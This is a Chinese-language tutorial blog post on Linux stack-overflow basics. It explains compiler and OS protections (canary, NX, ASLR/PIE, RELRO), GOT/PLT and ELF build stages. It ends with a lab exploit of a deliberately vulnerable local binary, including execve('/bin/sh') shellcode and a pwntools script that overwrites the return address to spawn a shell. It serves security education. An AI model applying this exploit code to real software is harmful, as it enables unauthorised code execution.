郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

前言

记录下自己学习堆栈溢出的内容,这篇就是栈溢出入门的东西,也算是栈溢出总结的上篇,缝合怪文章大部分都是参考各个师傅的文章。写文章的初心是为了总结梳理下自己的学习过程。22年重新修改部分内容

74CBF97F98866D946732450F281B1AD0

栈溢出利用方式

  • ROP(修改返回地址,让其指向内存中已有的一段指令
    • ret2shellcode(修改返回地址,让其指向溢出数据中的一段指令
    • ret2libc(修改返回地址,让其指向内存中已有的某个函数
    • BROP
    • ret2dl-resolve
    • SROP

常用保护机制

CANNARY金丝雀(栈保护)/Stack protect/栈溢出保护

栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让shellcode能够得到执行。当启用栈保护后,函数开始执行的时候会先往栈里插入cookie信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行。攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。在Linux中我们将cookie信息称为canary。

因此在编译时可以控制是否开启栈保护以及程度,例如:

gcc -o test test.c                       #默认情况下,不开启Canary保护
gcc -fno-stack-protector -o test test.c #禁用栈保护
gcc -fstack-protector -o test test.c #启用堆栈保护,不过只为局部变量中含有 char 数组的函数插入保护代码
gcc -fstack-protector-all -o test test.c #启用堆栈保护,为所有函数插入保护代码

FORTIFY/轻微的检查

fority其实非常轻微的检查,用于检查是否存在缓冲区溢出的错误。适用情形是程序采用大量的字符串或者内存操作函数,如memcpy,memset,stpcpy,strcpy,strncpy,strcat,strncat,sprintf,snprintf,vsprintf,vsnprintf,gets以及宽字符的变体。

gcc -o test test.c                        #默认情况下,不会开这个检查
gcc -D_FORTIFY_SOURCE=1 -o test test.c #较弱的检查
gcc -D_FORTIFY_SOURCE=2 -o test test.c #较强的检查

NX(DEP)

NX即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。

工作原理如图:
img

gcc编译器默认开启了NX选项,如果需要关闭NX选项,可以给gcc编译器添加-z execstack参数。
例如:

gcc -o test test.c                #默认情况下,开启NX保护
gcc -z execstack -o test test.c #禁用NX保护
gcc -z noexecstack -o test test.c #开启NX保护

在Windows下,类似的概念为DEP(数据执行保护),在最新版的Visual Studio中默认开启了DEP编译选项。


PIE(ASLR)

一般情况下NX(Windows平台上称其为DEP)和地址空间分布随机化(ASLR)会同时工作。

如果只开启ASLR的话,本身二进制程序是不支持随机化加载的,所以就出现了ret2plt、GOT表劫持、地址爆破等

内存地址随机化机制(address space layout randomization),有以下四种情况

0 - 表示关闭进程地址空间随机化。
1 - 表示将mmap的基址,stack和vdso页面随机化。
2 - 表示在1的基础上增加栈(heap)的随机化。
2+PIE - 全部随机化
ASLR Executable PLT Heap Stack Shared libraries
0
1
2
2+PIE

使用一个程序来演示下上表的内容

//test.c
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>

int main() {
int stack;
int *heap = malloc(sizeof(int));
void *handle = dlopen("libc.so.6", RTLD_NOW | RTLD_GLOBAL);

printf("executable: %p\n", &main);
printf("system@plt: %p\n", &system);
printf("heap: %p\n", heap);
printf("stack: %p\n", &stack);
printf("libc: %p\n", handle);

free(heap);
return 0;
}
//gcc test.c -no-pie -fno-pie -ldl
未开启ASLR和PIE
root@ubuntu:/home/ascotbe/Desktop/Pwn# echo 0 > /proc/sys/kernel/randomize_va_space
root@ubuntu:/home/ascotbe/Desktop/Pwn# ./a.out
executable: 0x4011d6
system@plt: 0x4010b0
heap: 0x4052a0
stack: 0x7fffffffe014
libc: 0x7ffff7fb3500
root@ubuntu:/home/ascotbe/Desktop/Pwn# ./a.out
executable: 0x4011d6
system@plt: 0x4010b0
heap: 0x4052a0
stack: 0x7fffffffe014
libc: 0x7ffff7fb3500

可以看到所有的地址都不变

开启ALSR未开启PIE
部分开启时
root@ubuntu:/home/ascotbe/Desktop/Pwn# echo 1 > /proc/sys/kernel/randomize_va_space
root@ubuntu:/home/ascotbe/Desktop/Pwn# ./a.out
executable: 0x4011d6
system@plt: 0x4010b0
heap: 0x4052a0
stack: 0x7ffdde37ce04
libc: 0x7f8ef1525500
root@ubuntu:/home/ascotbe/Desktop/Pwn# ./a.out
executable: 0x4011d6
system@plt: 0x4010b0
heap: 0x4052a0
stack: 0x7ffcd375c374
libc: 0x7f51c11fb500

可以看到只有的地址和libc的地址发生了改变

完全开启时
root@ubuntu:/home/ascotbe/Desktop/Pwn# echo 2 > /proc/sys/kernel/randomize_va_space
root@ubuntu:/home/ascotbe/Desktop/Pwn# ./a.out
executable: 0x4011d6
system@plt: 0x4010b0
heap: 0x15162a0
stack: 0x7ffda4f34384
libc: 0x7f615589b500
root@ubuntu:/home/ascotbe/Desktop/Pwn# ./a.out
executable: 0x4011d6
system@plt: 0x4010b0
heap: 0x5a22a0
stack: 0x7ffe432fa664
libc: 0x7f17a059f500

可以看到只有libc的地址发生了改变,但是程序本身的PLT不变

开启ALSR和PIE

GCC支持的PIE选项如下

-fpic          #为共享库生成位置无关代码
-pie #生成动态链接的位置无关可执行文件,通常需要同时指定-fpie
-no-pie #不生成动态链接的位置无关可执行文件
-fpie #类似于-fpic,但生成的位置无关代码只能用于可执行文件,通常同时指定-pie
-fno-pie #不生成位置无关代码

通过-pie -fpie进行编译,可以看到全部地址都随机了

root@ubuntu:/home/ascotbe/Desktop/Pwn# echo 2 > /proc/sys/kernel/randomize_va_space
root@ubuntu:/home/ascotbe/Desktop/Pwn# gcc -pie -fpie test.c -ldl
root@ubuntu:/home/ascotbe/Desktop/Pwn# ./a.out
executable: 0x5640b79d01c9
system@plt: 0x7fa5361ca410
heap: 0x5640b8a392a0
stack: 0x7ffc036cac64
libc: 0x7fa53636d500
root@ubuntu:/home/ascotbe/Desktop/Pwn# ./a.out
executable: 0x561760ad81c9
system@plt: 0x7f509abd0410
heap: 0x561760be32a0
stack: 0x7ffe2f8a7694
libc: 0x7f509ad73500
root@ubuntu:/home/ascotbe/Desktop/Pwn#

RELRO

在Linux系统安全领域数据可以写的存储区就会是攻击的目标,尤其是存储函数指针的区域。 所以在安全防护的角度来说尽量减少可写的存储区域对安全会有极大的好处.

GCC, GNU linker以及Glibc-dynamic linker一起配合实现了一种叫做relro的技术: read only relocation。大概实现就是由linker指定binary的一块经过dynamic linker处理过 relocation之后的区域为只读.

设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,从而减少对GOT(Global Offset Table)攻击。RELRO为”Partial RELRO”,说明我们对GOT表具有写权限。

gcc编译:

gcc -o test test.c            #默认情况下,是Partial RELRO
gcc -z norelro -o test test.c #关闭,即No RELRO
gcc -z lazy -o test test.c #部分开启,即Partial RELRO
gcc -z now -o test test.c #全部开启

常见概念

GOT

GOT(Global Offset Table,全局偏移表)是Linux ELF文件中用于定位全局变量和函数的一个表。


PLT

PLT(Procedure Linkage Table,过程链接表)是Linux ELF文件中用于延迟绑定的表,即函数第一次被调用的时候才进行绑定。

延迟绑定

所谓延迟绑定,就是当函数第一次被调用的时候才进行绑定(包括符号查找、重定位等),如果函数从来没有用到过就不进行绑定。基于延迟绑定可以大大加快程序的启动速度,特别有利于一些引用了大量函数的程序


GOT和PLT的关系

ELF使用PLT(Procedure linkage Table, 过程链接表)的方法来实现。通常我们调用某个外部模块的函数时,应该是通过GOT中相应的项进行间接跳转。而PLT为了实现延迟绑定,在这个过程中有增加了一层间接跳转。调用函数并不直接通过GOT跳转,而是通过一个叫作PLT项的结构来进行跳转。每个外部函数在PLT中都有一个相应的项,比如gets()(在string头文件的函数,不是用户自定义的函数)在PLT中的项的地址我们称为gets@plt。其中gets@plt的实现如下:

image-20201116153715662

#在gets第一次使用的时候,会做以下操作,如果不是第一次就直接jmp *(gets@GOT)就能获取到函数的真实地址
gets@plt:
jmp *(gets@GOT)
push n
jump _dl_runtime_resolve
  • 第一条指令是通过一条GOT间接跳转的指令。jmp指令跳转到GOT表,数据为0x400486
  • 第二条指令执行push 0x3,这个为在GOT中的下标序号。
  • 第三条指令jmp 0x400440,这个地址为PLT[0]的地址,PLT[0]的指令会进入动态链接器的入口,执行一个函数(_dl_runtime_resolve)将真正的函数地址填入到GOT表中

再次调用gets@plt时,第一条jump指令能跳转到真正的gets()函数中,gets()函数返回的时候会根据堆栈里保存的EIP直接返回到调用者,而不会在继续执行gets@plt中第二条指令开始的那段代码。因为GOT表中已经有真正的函数地址,逻辑和下图类似

image-20201116161136273


文件格式

可重定位目标文件 (Relocatable File)

Linux下的.o(Windows下的.obj)包含代码和数据,可被用来链接成可执行文件或共享目标文件,静态链接库也可以归为这一类

每个.o 文件由对应的.c文件生成 每个.o文件代码和数据地址都从0开始


可执行目标文件(Executable File)

包含的代码和数据可以被直接复制到内存并被执行

Linux下的无文件后缀(Windows下的.exe)


共享的目标文件 (Shared Object File)

链接器可使用.so文件跟其他.o文件和.so文件链接以生成新的.o文件

动态链接器将几个.so文件与可执行文件结合,作为进程映像的一部分来运行 特殊的可重定位目标文件,能在装入或运行时被装入到内存并自动被链接,称为共享库文件

Windows 中称其为 Dynamic Link Libraries (DLLs)


常见的文件格式

  • DOS操作系统(最简单) :COM格式,文件中仅包含代码和数据,且被加载到固定位置

  • UNIX System V早期版本:COFF格式,文件中不仅包含代码和数据,还包含重定位信息、调试信息、符号表等其他信息,由一组严格定义的数据结构序列组成

  • Windows: PE格式(COFF的变种),称为可移植可执行(Portable Executable,简称PE)

    详解请看这篇文章PE格式详解

  • Linux:ELF格式(COFF的变种),称为可执行可链接(Executable and Linkable Format,简称ELF)

    详解请看这篇文章ELF格式详解


Linux

ELF文件生成

首先来看一个代码文件生成过程,下面过程也可以直接从原始C文件链路到任意过程,一下步骤只是一个拆分过程

#include <stdio.h>
int main(){
printf("Hello World!n");
return 0;
}
预处理过程

主要处理源文件中以“#”开头的预编译指令,经过预编译处理后,得到的是预处理文件(如,hello.i) ,它还是一个可读的文本文件 。

gcc –E hello.c –o hello.i

编译过程

将预处理后得到的预处理文件(如 hello.i)进行词法分析、语法分析、语义分析、优化后,生成汇编代码文件。经过编译后,得到的汇编代码文件(如 hello.s)还是可读的文本文件,CPU无法理解和执行它。

gcc -S hello.i -o hello.s

image-20201116113805853


汇编过程

汇编程序(汇编器)用来将汇编语言源程序转换为机器指令序列(机器语言程序)。汇编结果是一个可重定位目标文件(如 hello.o),其中包含的是不可读的二进制代码,必须用相应的工具软件来查看其内容。

gcc -c hello.s -o hello.o

预处理、编译和汇编三个过程针对一个模块(一个*.c文件)进行处理,得到对应的一个可重定位目标文件(一个*.o文件)。

用IDA打开

image-20201116114352893


链接过程

将多个可重定位目标文件合并以生成可执行目标文件

gcc  hello.o -o hello

用IDA打开编译好可以执行的文件

image-20201116114653378


利用思路

拿到一个文件后首先第一步就是看保护,通过保护来查看使用什么思路

  • RELRO: got表的保护,如果开了的话,无法写got表,没开考虑got表
  • Canary: 栈溢出保护,开了的话,想办法利用bypass canary绕过,没开直接ROP
  • NX: 开了的话,利用ROP技术绕过,没开的话,考虑执行shellcode
  • PIE: 开了的话就用bypass pie技术绕过, 没开的话,地址是固定的,考虑一下是否存在后门函数,查看是否有/bin/sh以及system函数

快速获取恶意汇编

使用Python中的pwntools包可以生成对应的架构的shellcode代码,直接使用链式调用的方法就可以得到

>>> print shellcraft.i386.nop().strip('\n')
nop
>>> print shellcraft.i386.linux.sh()
# push '/bin///sh\x00'
push 0x68
push 0x732f2f2f
push 0x6e69622f

果需要在64位的Linux上执行/bin/sh就可以使用shellcraft.amd64.linux.sh(),配合asm函数就能够得到最终的payload了。

除了直接执行sh之外,还可以进行其它的一些常用操作例如提权、反向连接等等

基础栈溢出

缓冲区溢出原理

参考这篇文章Linux栈溢出总结(0x00)


无保护溢出

比较常见的程序流劫持就是栈溢出,格式化字符串攻击和堆溢出了。通过程序流劫持,攻击者可以控制PC指针从而执行目标代码。为了应对这种攻击,系统防御者也提出了各种防御方法,最常见的方法有DEP(堆栈不可执行),ASLR(内存地址随机化),Stack Protector(栈保护)等。

编译代码
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>

void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}

int main(int argc, char** argv) {
vulnerable_function();
write(STDOUT_FILENO, "Hello, World\n", 13);
}

编译上述代码

gcc -m32 -fno-stack-protector -z execstack -no-pie level1.c -o level1 

接着查看程序保护是否关闭了

root@ascotbe:~# checksec level1
[*] '/ctf/work/level1'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

接着关闭Linux系统的ASLR保护

#非docker容器关闭
echo 0 > /proc/sys/kernel/randomize_va_space
sysctl -w kernel.randomize_va_space=0
#docker容器只能在GDB场景下关闭
set disable-randomization on#关闭ASLR
set disable-randomization off #开启ASLR
show disable-randomization#查看ASLR状态

如果输入cat /proc/sys/kernel/randomize_va_space若返回为0的话表示已经关闭了

  • 0 = 关闭
  • 1 = 半随机。共享库、栈、mmap() 以及 VDSO 将被随机化。
  • 2 = 全随机。除了1中所述,还有heap。

也可以使用ldd通过看加载动态库时动态库的基址来确定是否开启ASLR,如果开启是下面这样的,未开启是值不变的

root@ascotbe:~# ldd level1
linux-gate.so.1 (0xf7ed1000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7cd5000)
/lib/ld-linux.so.2 (0xf7ed2000)
root@ascotbe:~# ldd level1
linux-gate.so.1 (0xf7f8f000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d93000)
/lib/ld-linux.so.2 (0xf7f90000)

在没有任何保护的情况下,我们的利用思路只需要确定字符串大小、返回地址、还有shellcode,然后拼接起来即可,拼接的原理有两种方法

  • 方法1:把shellcode写在函数的栈帧里, 但其大小有限(只需要计算当前栈的栈帧大小合理利用即可
  • 方法2:把shellcode写在调用者(main)的栈帧里(需要获取到可利用栈的返回地址
方法1:                                             方法2:
Stack Stack
+------------------+ 低地址 +------------------+
| shellcode | <-异栈帧 ^ | "AAAAAAAAAAAAAA" | <-异栈帧
+------------------+ | +------------------+
| "AAAAAAAAAAAAAA" | | | ret |
+------------------+ | +------------------+
| ret | | | shellcode |<-main函数栈帧
+------------------+ 高地址 +------------------+
| | <-main的栈帧 | |
+------------------+ +------------------+

找出溢出值

首先开始确定程序溢出的字符串大小,我们先创建200个字符

pwndbg> cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab

运行后程序奔溃,EIP被覆盖了,显示错误值为0x6261616b(kkab)

image-20201117143016927

然后我们用cyclic就能看到溢出的字符串大小了

pwndbg> cyclic -l 0x6261616b
140

shellcode

接着制作一个shellcode,直接使用汇编

; shellcode.asm
; execve ("/bin/sh") 汇编原形
section .text
global _start
_start:
xor eax, eax
push eax ;"\x00"
push 0x68732f2f ;"//sh" 入栈
push 0x6e69622f ;"/bin" 入栈
mov ebx, esp ;ebx=esp "/bin//sh"的地址
push eax ;"\x00" 入栈
push ebx ;"/bin//sh"地址入栈
mov ecx, esp ;ecx=esp 为指针数组地址
xor edx, edx ;edx=0
mov al, 11 ;al=11 execve的系统调用号
int 0x80 ;软中断指令

如果不确定汇编能不能用可以编译然后运行试试

nasm -f elf shellcode.asm
ld -m elf_i386 -o shellcode shellcode.o #编译的是32位的汇编

image-20201117203411240

接着我们要把汇编代码转换成SHELLCODE,有好几种方法,这边就提三种

  • 使用rasm2把汇编代码转换为C的shellcode,转换的时候只需要shellcode.asm文件_start:后面的内容

    root@ascotbe:~# rasm2 -a x86 -b 32 -f shellcode.asm -C
    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31" \
    "\xd2\xb0\x0b\xcd\x80"
  • 使用pwntools进行转换

    #shellcode.py
    import pwn
    pwn.context.arch = 'i386'
    pwn.context.os = 'linux'
    pwn.context.endian = 'little'
    pwn.context.word_size = 32
    shellcode = pwn.asm("xor eax, eax")
    shellcode += pwn.asm("push eax")
    shellcode += pwn.asm("push 0x68732f2f")
    shellcode += pwn.asm("push 0x6e69622f")
    shellcode += pwn.asm("mov ebx, esp")
    shellcode += pwn.asm("push eax")
    shellcode += pwn.asm("push ebx")
    shellcode += pwn.asm("mov ecx, esp")
    shellcode += pwn.asm("xor edx, edx")
    shellcode += pwn.asm("mov al, 11")
    shellcode += pwn.asm("int 0x80")
    print(shellcode.hex())

    运行Python脚本

    root@ascotbe:~# python3 shellcode.py
    31c050682f2f7368682f62696e89e3505389e131d2b00bcd80
  • 使用pwntools内置的汇编

    from pwn import *
    context(os='linux', arch='x86', log_level='debug')
    shellcode=asm(shellcraft.sh())
    print(shellcode)

寻找返回地址

由于gdb的调试环境会影响buf在内存中的位置,虽然我们关闭了ASLR,但这只能保证buf的地址在gdb的调试环境中不变,但当我们直接执行./level1的时候,buf的位置会固定在别的地址上。

所以需要开启core dump功能,当出现内存错误的时候,系统会生成一个core dump文件在tmp目录下。

echo 1 >/proc/sys/kernel/core_uses_pid
echo '/corefiles/core-%e-%p-%t' > /proc/sys/kernel/core_pattern
ulimit -c unlimited
sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'

接着进行调试

注意:如果重启机器关闭的ASLR或者开启的core dump都会关闭了

kali@kali:~/Desktop/Pwn$ ./level1 
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA
段错误 (核心已转储)
kali@kali:~/Desktop/Pwn$ gdb ./level1 /tmp/core.1605753112.1826
Core was generated by `./level1'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x41416d41 in ?? ()
gdb-peda$ pattern offset 0x41416d41
1094806849 found at offset: 140
gdb-peda$ x/10s $esp-144
0xffffd190: "AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA"...
0xffffd225: "\n\264\374", <incomplete sequence \367>
0xffffd226: ""
0xffffd227: "\373\367\001"
0xffffd228: ""
0xffffd229: ""
0xffffd22a: ""
0xffffd22b: ""
0xffffd22c: ""
0xffffd231: ""

因为溢出点是140个字节,再加上4个字节的ret地址,通过gdb的命令x/10s $esp-144,我们可以得到buf的地址为0xffffd190,然后利用脚本即可达到溢出执行命令的效果

image-20201119104715107

#test.py
from pwn import *

p = process("./level1")
context(os='linux', arch='x86', log_level='debug')
ret = 0xffffd190
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
shellcode+= b"\xd2\xb0\x0b\xcd\x80"
#shellcode=asm(shellcraft.sh())
payload = shellcode + b'A'*(140-len(shellcode)) + p32(ret)
p.send(payload)
p.interactive()

参考文章

https://introspelliam.github.io/2017/09/30/linux%E7%A8%8B%E5%BA%8F%E7%9A%84%E5%B8%B8%E7%94%A8%E4%BF%9D%E6%8A%A4%E6%9C%BA%E5%88%B6/
https://www.anquanke.com/post/id/183370
http://www.peckerwood.top/post/rop_0x01/
http://blog.nsfocus.net/easy-implement-shellcode-xiangjie/
《CTF竞赛权威指南》